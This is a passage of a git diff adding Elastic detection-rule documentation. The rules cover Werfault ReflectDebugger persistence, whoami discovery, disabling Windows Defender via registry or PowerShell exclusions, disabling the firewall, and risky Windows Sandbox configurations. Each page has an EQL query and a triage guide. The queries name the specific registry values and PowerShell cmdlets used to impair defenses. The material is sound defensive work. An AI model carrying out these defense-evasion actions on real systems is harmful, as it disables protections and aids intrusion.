https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-werfault-reflectdebugger-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-werfault-reflectdebugger-persistence.asciidoc new file mode 100644 index 0000000000..d3970b84c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-werfault-reflectdebugger-persistence.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-werfault-reflectdebugger-persistence]] +=== Werfault ReflectDebugger Persistence + +Identifies the registration of a Werfault Debugger. Attackers may abuse this mechanism to execute malicious payloads every time the utility is executed with the "-pr" parameter. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Werfault ReflectDebugger Persistence* + + +Werfault, the Windows Error Reporting service, can be manipulated by attackers to maintain persistence. By registering a ReflectDebugger, adversaries can execute malicious code whenever Werfault is triggered with specific parameters. The detection rule monitors registry changes in key paths associated with ReflectDebugger, alerting on unauthorized modifications indicative of potential abuse. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific path modified, focusing on the paths listed in the query: "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", "\REGISTRY\MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", or "MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with other suspicious activities or events on the system around the same time. +- Investigate the user account or process responsible for the registry change to assess whether it is a legitimate action or potentially malicious. Look for unusual or unauthorized accounts making the change. +- Examine the system for any recent executions of Werfault with the "-pr" parameter, as this could indicate attempts to trigger the malicious payload. +- Search for any related alerts or logs from data sources such as Elastic Endgame, Elastic Defend, Microsoft Defender XDR, SentinelOne, or Sysmon that might provide additional context or corroborate the suspicious activity. +- Assess the system for any signs of compromise or persistence mechanisms, such as unexpected startup items, scheduled tasks, or other registry modifications that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the ReflectDebugger registry key as part of their error reporting configuration. Users can create exceptions for known software vendors by verifying the digital signature of the executable associated with the change. +- System administrators may intentionally configure the ReflectDebugger for debugging purposes. Document and whitelist these changes in the security monitoring system to prevent unnecessary alerts. +- Automated system maintenance tools might interact with the ReflectDebugger registry key. Identify and exclude these tools by correlating the registry changes with scheduled maintenance activities. +- Security software or endpoint protection solutions may alter the ReflectDebugger settings as part of their protective measures. Confirm these changes with the security vendor and add them to the exclusion list if deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of malicious code via the Werfault ReflectDebugger. +- Terminate any suspicious processes associated with Werfault that are running with the "-pr" parameter to halt potential malicious activity. +- Remove unauthorized entries from the registry path "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malware or malicious artifacts. +- Review and restore any system or application configurations that may have been altered by the attacker to their original state. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for registry changes in the specified paths to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "ReflectDebugger" + + /* + Full registry key path omitted due to data source variations: + HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\\ReflectDebugger + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-whoami-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-whoami-process-activity.asciidoc new file mode 100644 index 0000000000..583e84746b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-whoami-process-activity.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-whoami-process-activity]] +=== Whoami Process Activity + +Identifies suspicious use of whoami.exe which displays user, group, and privileges information for the user who is currently logged on to the local system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Windows Security Event Logs + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Whoami Process Activity* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `whoami` utility. Attackers commonly use this utility to measure their current privileges, discover the current user, determine if a privilege escalation was successful, etc. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Account Discovery Command via SYSTEM Account - 2856446a-34e6-435b-9fb5-f8f040bfa7ed + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and +( + ( + /* scoped for whoami execution under system privileges */ + ( + ( + user.domain : ("NT *", "* NT", "IIS APPPOOL") and + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and + not ?winlog.event_data.SubjectUserName : "*$" and + + /* Sysmon will always populate user.id as S-1-5-18, leading to FPs */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) or + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") + ) and + not ( + process.parent.name : "cmd.exe" and + process.parent.args : ( + "chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups", + "chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user", + "C:\\WINDOWS\\System32\\whoami.exe /groups", + "*WINDOWS\\system32\\config\\systemprofile*" + ) + ) and + not (process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and process.parent.args : "LIST") and + not process.parent.executable : ( + "C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe" + ) + ) or + process.parent.name : ("wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-disabled-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-disabled-via-registry-modification.asciidoc new file mode 100644 index 0000000000..911527ca83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-disabled-via-registry-modification.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-windows-defender-disabled-via-registry-modification]] +=== Windows Defender Disabled via Registry Modification + +Identifies modifications to the Windows Defender registry settings to disable the service or set the service to be started manually. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2020/12/13/defender-control/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Defender Disabled via Registry Modification* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for configurations that disable Windows Defender or the start of its service. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if this operation was approved and performed according to the organization's change management policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 +- Microsoft Windows Defender Tampering - fe794edd-487f-4a90-b285-3ee54f2af2d3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Re-enable Windows Defender and restore the service configurations to automatic start. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + ( + ( + registry.path: ( + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + ) and + registry.data.strings: ("1", "0x00000001") + ) or + ( + registry.path: ( + "HKLM\\System\\*ControlSet*\\Services\\WinDefend\\Start", + "\\REGISTRY\\MACHINE\\System\\*ControlSet*\\Services\\WinDefend\\Start" + ) and + registry.data.strings in ("3", "4", "0x00000003", "0x00000004") + ) + ) and + + not + ( + process.executable : ( + "?:\\WINDOWS\\system32\\services.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\NTRmv.exe" + ) and user.id : "S-1-5-18" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-exclusions-added-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-exclusions-added-via-powershell.asciidoc new file mode 100644 index 0000000000..22784ee392 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-defender-exclusions-added-via-powershell.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-windows-defender-exclusions-added-via-powershell]] +=== Windows Defender Exclusions Added via PowerShell + +Identifies modifications to the Windows Defender configuration settings using PowerShell to add exclusions at the folder directory or process level. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Defender Exclusions Added via PowerShell* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows. Since this software product is used to prevent and stop malware, it's important to monitor what specific exclusions are made to the product's configuration settings. These can often be signs of an adversary or malware trying to bypass Windows Defender's capabilities. One of the more notable https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/[examples] was observed in 2018 where Trickbot incorporated mechanisms to disable Windows Defender to avoid detection. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the exclusion in order to determine the intent behind it. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- If the exclusion specifies a suspicious file or path, retrieve the file(s) and determine if malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives due to how often network administrators legitimately configure exclusions. In order to validate the activity further, review the specific exclusion and its intent. There are many legitimate reasons for exclusions, so it's important to gain context. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Exclusion lists for antimalware capabilities should always be routinely monitored for review. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) and + process.args : ("*Add-MpPreference*", "*Set-MpPreference*") and + process.args : ("*-Exclusion*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-firewall-disabled-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-firewall-disabled-via-powershell.asciidoc new file mode 100644 index 0000000000..7339391a35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-firewall-disabled-via-powershell.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-windows-firewall-disabled-via-powershell]] +=== Windows Firewall Disabled via PowerShell + +Identifies when the Windows Firewall is disabled using PowerShell cmdlets, which can help attackers evade network constraints, like internet and network lateral communication restrictions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps +* https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell +* http://powershellhelp.space/commands/set-netfirewallrule-psv5.php +* http://woshub.com/manage-windows-firewall-powershell/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Firewall Disabled via PowerShell* + + +Windows Defender Firewall is a native component that provides host-based, two-way network traffic filtering for a device and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can disable the Windows firewall or its rules to enable lateral movement and command and control activity. + +This rule identifies patterns related to disabling the Windows firewall or its rules using the `Set-NetFirewallProfile` PowerShell cmdlet. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user is an administrator and is legitimately performing troubleshooting. +- In case of an allowed benign true positive (B-TP), assess adding rules to allow needed traffic and re-enable the firewall. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Re-enable the firewall with its desired configurations. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "*Set-NetFirewallProfile*" and + process.args : "*-Enabled*" and process.args : "*False*" and + process.args : ("*-All*", "*Public*", "*Domain*", "*Private*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-sandbox-with-sensitive-configuration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-sandbox-with-sensitive-configuration.asciidoc new file mode 100644 index 0000000000..6e8a5d55df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-sandbox-with-sensitive-configuration.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-windows-sandbox-with-sensitive-configuration]] +=== Windows Sandbox with Sensitive Configuration + +Identifies Windows sanfbox processes indicating the start of a new container with sensitive configurations like write access to the host file system, network connection and automatic execution via logon command. Malware may abuse the sandbox feature to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog-en.itochuci.co.jp/entry/2025/03/12/140000 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Sandbox with Sensitive Configuration* + + +Windows Sandbox is a lightweight virtual environment designed to safely run untrusted applications. It isolates processes from the host system, preventing permanent changes. However, adversaries can exploit this by configuring the sandbox to access host resources, enabling network connections, or executing commands at startup. The detection rule identifies such misuse by monitoring specific process activities and configurations indicative of potential abuse, such as unauthorized file system access or network enablement, helping analysts spot and mitigate threats effectively. + + +*Possible investigation steps* + + +- Review the process details for "wsb.exe" or "WindowsSandboxClient.exe" to confirm the start of a new container and check for any unusual command-line arguments that match the query criteria, such as "Enable" or "true>". +- Investigate any file system access attempts by the sandbox, particularly focusing on write access to the host file system indicated by "C:\false". Determine if any unauthorized or suspicious files have been modified or created. +- Examine network activity associated with the sandbox process to identify any unexpected or unauthorized connections, especially if "true>" is present in the command line. +- Check for any logon commands executed by the sandbox process using "" in the command line to identify potential persistence mechanisms or automated tasks that could indicate malicious intent. +- Correlate the sandbox activity with other security alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and identify any related suspicious activities. + + +*False positive analysis* + + +- Legitimate software installations or updates may configure the Windows Sandbox to enable network connections or access host resources. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- Developers and IT administrators might use Windows Sandbox for testing purposes, which could involve enabling network connections or accessing host files. Establishing a list of approved users or processes that frequently perform these actions can help reduce false positives. +- Automated scripts or tools that configure the sandbox for legitimate purposes, such as testing or development, may trigger the rule. Identifying and excluding these scripts from monitoring can minimize false alerts. +- Security tools or system management software might use sandbox features for legitimate operations. Users should verify and whitelist these tools to avoid misidentification as threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those related to Windows Sandbox misuse, such as "wsb.exe" or "WindowsSandboxClient.exe". +- Conduct a thorough review of the system's file system and network logs to identify any unauthorized access or data transfers that may have occurred. +- Remove any unauthorized configurations or scripts found within the Windows Sandbox environment that enable network connections or host file system access. +- Restore the system to a known good state using backups or system restore 